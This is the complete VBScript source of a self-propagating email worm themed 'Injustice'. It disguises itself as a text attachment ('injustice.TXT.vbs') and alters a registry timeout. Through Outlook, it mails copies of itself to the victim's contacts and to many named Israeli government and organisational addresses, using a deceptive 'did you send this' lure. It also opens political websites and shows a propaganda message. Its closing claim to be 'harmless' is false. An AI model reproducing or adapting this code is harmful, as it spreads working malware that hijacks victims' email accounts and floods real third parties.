On Error Resume Next dim fso,loc,file,vbscopy Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind1ows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Wind1ows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set loc = fso.GetSpecialFolder(1) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(loc&"\injustice.TXT.vbs") sendit() callielinks() showmessage() end sub sub sendit() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad,y,myvar set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then y=a.AddressEntries.Count ' Only to 50 entries - not to disturb network and mail servers - if (int(a.AddressEntries.Count)> 50) then y= 50 end if for ctrentries=1 to y z= Int((a.AddressEntries.Count * Rnd) + 1) malead=a.AddressEntries(z) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "RE:Injustice" male.Body = vbcrlf&"Dear "&malead&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next set male=out.CreateItem(0) male.Recipients.Add("sar@mod.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("sar@mops.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("sar@moin.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("yor@knesset.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("webmaster@israel.com") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("amuta@ehudbarak.co.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("foundation@habonimdror.org") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("wlzm@jazo.org.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("office@JAFI.org.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("naamatusa@naamat.org") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("info@azm.org") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("arie@kba.org") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("ncli@laborisrael.org") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("holyland@inisrael.com") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("sar@mof.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("hachnasot@mof.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("doar@mof.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("mafkal@police.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("yor@knesset.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("rmarkus@parliament.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("doar@shaam.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("sar@mops.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("hashkal@mof.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("pniotmas@mof.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send set male=out.CreateItem(0) male.Recipients.Add("menahel@shaam.gov.il") male.Subject = "RE:Injustice" male.Body = vbcrlf&" Dear Sir"&","&vbcrlf&" Did you send the attached message, I was not expecting this from you !" male.Attachments.Add(loc&"\injustice.TXT.vbs") male.Send Set out=Nothing Set mapi=Nothing end sub sub showmessage() On Error Resume Next Dim myvar s = "PLEASE ACCEPT MY APOLOGIES FOR DISTURBING YOU. " & chr(10)& chr(10) s = s & "Remember that one day YOU may be in this situation. " & chr(10) s = s & "We need every possible help. " & chr(10) & chr(10) s = S & "Israeli soldiers killed in cold blood 12 year old Palestinian child" & chr(10) s = s & "Mohammad Al-Durra, as his father tried to protect him in vain with" & chr(10) s = s & "his own body. As a result of the indiscriminate and excessive use of" & chr(10) s = s & "machine gun fire by Israeli soldiers, journalists and bystanders" & chr(10) s = s & "watched helplessly as the child was savagely murdered." & chr(10) s = s & "Palestinian Red Crescent Society medic Bassam Balbeisi" & chr(10) s = s & "attempted to intervene and spare the child's life but live" & chr(10) s = s & "ammunition to his chest by Israeli fire took his life in the process." & chr(10) s = s & "The child and the medic were grotesquely murdered in cold blood." & chr(10) s = s & "Mohammad's father, Jamal, was critically injured and permanently" & chr(10) s = s & "paralyzed. Similarly, approximately 40 children were slain, without" & chr(10) s = s & "the media taking notice or covering these tragedies. " & chr(10)& chr(10) s = s & "THESE CRIMINAL ACTS CANNOT BE FORGIVEN OR FORGOTTEN!!!!" & chr(10) myvar = MsgBox ( s, 64, " HELP US TO STOP THE BLOOD SHED!! ") end sub sub callielinks() On Error Resume Next Set Web = CreateObject("InternetExplorer.Application") Web.Visible = TRUE Web.Navigate "http://www.sabra-shatila.org/" Set Web = CreateObject("InternetExplorer.Application") Web.Visible = TRUE Web.Navigate "http://www.petitiononline.com/palpet/petition.html" Set Web = CreateObject("InternetExplorer.Application") Web.Visible = TRUE Web.Navigate "http://www.palestine-info.org" Set Web = CreateObject("InternetExplorer.Application") Web.Visible = TRUE Web.Navigate "http://freesaj.org.uk/" Set Web = CreateObject("InternetExplorer.Application") Web.Visible = TRUE Web.Navigate "http://hanthala.virtualave.net/" Set Web = CreateObject("InternetExplorer.Application") Web.Visible = TRUE Web.Navigate "http://www.ummah.net/unity/palestine/index.htm" end sub 'Note: 'Do not worry. This is a harmless virus. It will not do any thing to your system. 'The intension is to help Palestinian people to live in PEASE in their own land. 'S/N : 881844577469